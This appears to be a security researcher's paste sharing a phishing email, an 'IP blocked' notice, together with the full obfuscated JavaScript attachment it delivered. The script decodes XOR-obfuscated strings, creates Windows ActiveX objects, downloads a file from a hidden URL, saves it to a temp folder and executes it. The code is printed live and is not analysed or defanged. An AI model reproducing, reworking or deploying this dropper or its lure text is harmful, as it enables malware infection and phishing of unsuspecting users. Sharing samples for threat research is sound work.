Malicious Email Javascript Zipped Attachment

Malicious Email

Subject: Internet Company Information Notice

Body:
Your IP: XXXX (Port:YYY) has been blocked in our network. Please be acknowledge that you will get disconnected on ZZZZZZZZZ. To unblock your IP address and continue using our services, please see the document down below.

Thank you for your time and attention.

*******
*******
*******

function phdODK(BDxzUxp) {
    function LudXBg() {
        return "ript.";
    }
    var VQZYECJk = LudXBg();

    function eLsQbm() {
        return 'eva';
    }
    function WsghAri(tYEReFjX) {
        return new Function('e', 'return ' + eLsQbm() + 'l(e);')(tYEReFjX);
    }
    if (WsghAri("typ" + "eof WSc" + VQZYECJk + "echo") == "unknown") {
        var eolFu = [''][0];
        var KglAhyte = 0;
        var zlqRuRIp = 'nlhkaaA';
    }
    var IomkXxz = zlqRuRIp.length;
    var LKHf = 0;
    var rmPSuo = "";
    var yeLKv = BDxzUxp.length;
    while (LKHf < yeLKv - 2) {
        var emltUT = [(0)][(0)];
        var heFEDHq = LKHf + 1;
        var owSGI = BDxzUxp.charAt(heFEDHq);
        var ycWKAbv = BDxzUxp.charAt(LKHf + 2);
        var wYoJj = BDxzUxp.charAt(LKHf);
        rmPSuo = wYoJj + owSGI + ycWKAbv;
        var EcqLhWq = BDxzUxp.charAt(LKHf);
        var DHYSdRz = BDxzUxp.charAt(LKHf + 1);
        var JqOlK102 = (DHYSdRz == 0);
        if (EcqLhWq == emltUT) {
            var yTcN = LKHf + 1;
            var lwhoMT = LKHf + 2;
            var JkfmRe = BDxzUxp.charAt(lwhoMT);
            rmPSuo = BDxzUxp.charAt(yTcN) + JkfmRe;
        }
        var UWEF = BDxzUxp.charAt(LKHf);
        var JqOlK101 = (UWEF == 0);
        if (JqOlK101 && JqOlK102) {
            var gjqTM = LKHf + 2;
            rmPSuo = BDxzUxp.charAt(gjqTM);
        }
        KglAhyte = parseInt(rmPSuo);
        var qUPdOk = LKHf / 3;
        var YqZQveK = qUPdOk % IomkXxz;
        var JqOlK = (zlqRuRIp + '').charCodeAt(YqZQveK);
        KglAhyte = KglAhyte ^ JqOlK;
        var wrWKyga = String;
        eolFu = eolFu + wrWKyga.fromCharCode(KglAhyte);
        var SCINs = 3;
        LKHf = LKHf + SCINs;
    }
    return eolFu;
}
var rbyiT = "041009028056017004034007013004045014013037011030";
var DbBpuAUJ = "061015026002017021040000011070045008013036061021027031004012014012006013008021";
var AOYPX = "041009028063004012049032013005014";
var jEbiJg = "058021024014";
var gjRDBZlli = "028025006";
var nxkc = "006024028027091078110028003006015004013050064015007006078012036010005009068006000045002009026018078080111011020013";
var NbFdixGWx = "060009027027014015050011046007015024";
var pyKrdRdO = "010009004014021004007007000013";
var wTGh = "062003027002021008046000";
var mhoG = "057063011025008017053064063000014013013";
var ekNXRV = "061015026002017021007027000004037000012036";
var zMIC = "045000007024004";
var ZTQdy = "047040039047035079018026030013010012";
var KoNFY = "001028013005";
var aELUR = "033028013005";
var phRDNZLl = "061024009031020018";
var hxl = "013001012069004025036078067011075";
var SYZHLtZ = "057063011025008017053";
var oRFeGp = "035063048038045083111054033036035053053017";
var hIKjgS = "057030001031004";
var xDYcEgLL = "061013030014053014007007000013";
var wdECYMIC = "026021024014014007097057063011025008017053064060009031009";
var fNdU = "029009006015";
var ckbEb = "041041060";
var PWP = "029024026002015006";
var wMPuUHf = phdODK(PWP);
var jrykew = phdODK(wdECYMIC);
var gKIjFTD = eval(jrykew);
var CZpfNHnu = phdODK(SYZHLtZ);
var ZkyU = eval(CZpfNHnu);

function COrh() {
    if (gKIjFTD == wMPuUHf) {
        var DpbVOlZk = phdODK(oRFeGp);
        var fVBpAvSx = ZkyU;
        var RMeFurZy = phdODK(nxkc);
        var jXlbB = new ActiveXObject(DpbVOlZk);
        var cwoowz = phdODK(ZTQdy);
        var CuJR = phdODK(ckbEb);
        jXlbB[phdODK(KoNFY)](CuJR, RMeFurZy, 0);
        jXlbB[phdODK(fNdU)]();
        var fKsdBfhh = phdODK(DbBpuAUJ);
        var yhYPrW = new ActiveXObject(fKsdBfhh);
    }
    if (jXlbB[phdODK(phRDNZLl)] == 200) {
        var sxBu = new ActiveXObject(cwoowz);
        var QIrpQTKA = phdODK(AOYPX);
        var GGvZJWe = '\\' + yhYPrW[QIrpQTKA]();
        var dEqkDgBz = yhYPrW[phdODK(rbyiT)](2) + GGvZJWe;
        sxBu[phdODK(aELUR)]();
        var UXIo = phdODK(mhoG);
        sxBu[phdODK(jEbiJg)] = 1;
        var yXiONczo = new ActiveXObject(UXIo);
        var gUifEek = jXlbB[phdODK(NbFdixGWx)];
        sxBu[phdODK(hIKjgS)](gUifEek);
        sxBu[phdODK(wTGh)] = 0;
        sxBu[phdODK(xDYcEgLL)](dEqkDgBz);
        sxBu[phdODK(zMIC)]();
        var iOMtsT = phdODK(hxl) + dEqkDgBz;
        yXiONczo[phdODK(gjRDBZlli)](iOMtsT, 0);
    }
    var RaPPJeGi = fVBpAvSx[phdODK(ekNXRV)];
    yhYPrW[phdODK(pyKrdRdO)](RaPPJeGi);
}
if (gKIjFTD == wMPuUHf) {
    try {
        COrh();
    } catch (e) {}
}

*******
*******
*******
More FROM @neonprimetime security

http://pastebin.com/u/Neonprimetime
https://www.virustotal.com/en/USER/neonprimetime/
https://twitter.com/neonprimetime
https://www.reddit.com/USER/neonprimetime